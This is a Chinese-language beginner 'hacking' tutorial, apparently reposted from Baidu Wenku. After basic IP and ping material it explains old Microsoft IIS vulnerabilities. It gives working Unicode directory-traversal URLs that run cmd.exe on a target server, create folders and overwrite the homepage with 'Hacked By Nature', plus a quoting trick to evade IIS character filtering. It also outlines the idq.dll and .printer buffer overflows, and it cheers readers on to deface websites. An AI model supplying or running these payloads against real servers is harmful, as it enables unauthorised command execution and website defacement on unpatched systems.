了解黑客

来源:百度文库 编辑:神马文学网 时间:2024/07/04 23:31:19

(一)系统基本知识
  1.a.什么是IP:要是真的想说清楚什么是IP,那是一项很繁重的工作。简单的来说IP就是所有Internet或是局域网上的主机的身份证。
所有网络的机器连接起来后,每台机器都会有一个唯一的合法的IP地址,一台机器和别的指定的机器通讯都要依据IP来实现的。IP地址的写法为XXX.XXX.XXX.XXX。有四段数字组成,第一段数字可为1-255,后三段数字可为0-255,且所有的IP地址分为A、B、C、D、E五类,主要是A、B、C三类。其有效范围如下表所示:
  类别 网络号 主机号
  
  A 1~126 0~255 0~255 1~254
  B 128~191 0~255 0~255 1~254
  C 192~223 0~255 0~255 1~254
  有关IP地址的问题可以查阅相关的资料,笔者在此就不再多耗笔墨了。呵呵~~~~~~~~~~~~~: p
  
  1.b.怎样得到自己和别人的IP呢?以Windows 98为例:在“开始”—“运行”里输入:winipcfg。接着,Windows就会打开“IP 配置”。其中,在“Ethernet 适配器信息”—“IP 地址”会显示xxx.xxx.xxx.xxx,这就是你的IP。要想得到别人的IP,可以使用一些工具软件,不过最简单的使用Windows自带的一个小程序ping.exe。在MS-DOS命令行下输入ping www.xxx.com。会出现:
  C:>ping www.xxx.com
  
  Pinging www.xxx.com [xxx.xxx.xxx.xxx] with 32 bytes of data:
  
  Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116
  Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116
  Reply from xxx.xxx.xxx.xxx: bytes=32 time=120ms TTL=116
  
  Ping statistics for xxx.xxx.xxx.xxx:
  Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
  Approximate round trip times in milli-seconds:
  Minimum = 120ms, Maximum = 630ms, Average = 187ms
  
  其中:xxx.xxx.xxx.xxx 就是 http://www.xxx.com的网络服务器的IP地址。
  
  2.a.Unicode漏洞:“Unicode漏洞”是微软IIS的一个重大漏洞。2001年最热门漏洞之一。下面我们来简要介绍一下它的原理。
  IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含Unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。(Win NT4 编码为:%c1%9c ,Win2000 英文版 编码为:%c0%af)
  
  假设目标主机为英文版Winodows 2k,IP为xxx.xxx.xxx.xxx,且存在Unicode漏洞,那么我们在浏览器里输入:
  http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir ,之后浏览器就会显示如下内容:
  Directory of C:inetpubscripts
  2002-02-08 15:49 〈DIR〉 .
  2002-02-08 15:49 〈DIR〉 ..
  2002-02-08 10:20 Index.html
  2002-02-08 10:20 background.jpg
  ........................................
  从上面的测试可以看出:"http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+"后就是DOS命令了:"dir"
  以此类推,我们可以利用浏览器远程执行任意命令,看下面的例子:
  在浏览器里输入http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+md+d:Nature,运行后我们可以看到返回这样的结果:
  
  CGI Error
  The specified CGI application misbehaved by not returning a complete
  set of HTTP headers. The headers it did return are:
  
  英文意思是:
  CGI错误
  具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:
  但是,你其实仍然在目标主机的 D: 里建立了一个名为:Nature的文件夹。
  
  2.b.利用Unicode漏洞我们还可以简单的修改目标主机的WEB文件。一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具“>” “>>”。如果你对这些命令不熟悉,可以键入以下命令以查看帮助文档,如:
  C:>echo/?
  显示信息,或将命令响应打开或关上。
  ECHO [ON | OFF]
  ECHO [message]
  仅键入 ECHO 而不加参数,可以显示当前的 ECHO 设置。
  
  
  管道工具“>” “>>” 的不同之处
  “>”“>>”是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中。
  “>>”将产生的内容追加进文件中,“>”则将原文件内容覆盖。
  
  IIS加载程序检测到有cmd.exe或者command.com串就要检测特殊字符“&|(,;%”。如果发现有这些字符就会返回500错误,所以不能直接使用cmd.exe加管道符等。如果我们输入:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+内容+> d:cnhack.bat
  我们可以看到提示:
  
  HTTP 500 - 内部服务器错误
  Internet Explorer
  
  所以我们如果要echo和>的结合使用,就应该这样输入: http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd".exe?/c+echo+Hacked By Nature+> c:inetpubwwwrootindex.html (注意:这两个命令的区别是,后一个比前一个在cmd后多了一个"符号),完成后看它的主页已经被修改成了:Hacked By Nature 了。其实只要我们弄懂这个漏洞的使用,仅仅使用IE,我们就可以“黑”掉一个网站咯!就这么简单!
  
  3.idq.dll缓冲区溢出漏洞。作为安装过程的一部分,IIS 安装了几个 ISAPI 扩展 .dlls 。其中的 idq.dll 存在问题,它是 Index Server 的一个组件,对管理员脚本(.ida文件)和Internet数据查询 (.idq文件)提供支持。但是,idq.dll 在处理一段URL输入的代码中存在一个未经检查的缓冲区。攻击者利用此漏洞能导致受影响服务器产生缓冲区溢出,从而执行自己提供的代码。而更为严重的是,idq.dll 是以 SYSTEM 身份运行的,攻击者成功利用此漏洞后能取得系统管理员权限。(SYSTEM权限相当于超级管理员权限,很值得注意!)Windows 2k和NT都受到了不同程度的影响。
  
  4.IIS.printer漏洞(应用程序映射缓冲溢出):这也是近期比较流行的漏洞,国内国外仍有N台机器存在此漏洞。
  微软Windows 2000 IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS 5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:"域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。默认情况下,IIS 5.0服务器存在一个后缀为"printer"的应用程序映射,这个映射使用位于WINNTSystem32下的名为 msw3prt.dll 的动态库文件。这个功能是用于基于Web控制的网络打印的,是Windows2000为Internet Printing Protocol(IPP)协议而设置的应用程序功能。不幸的是,这个映射存在一个缓冲区溢出错误,可以导致inetinfo.exe出错,允许黑客通过web获取服务器的管理权限,黑客制造一个 .printer 的ISAPI请求,当Http host参数的值达到420个字符时,就会发生缓冲区溢出:
  
  
  GET /NULL.printer HTTP/1.0
  Host: [buffer]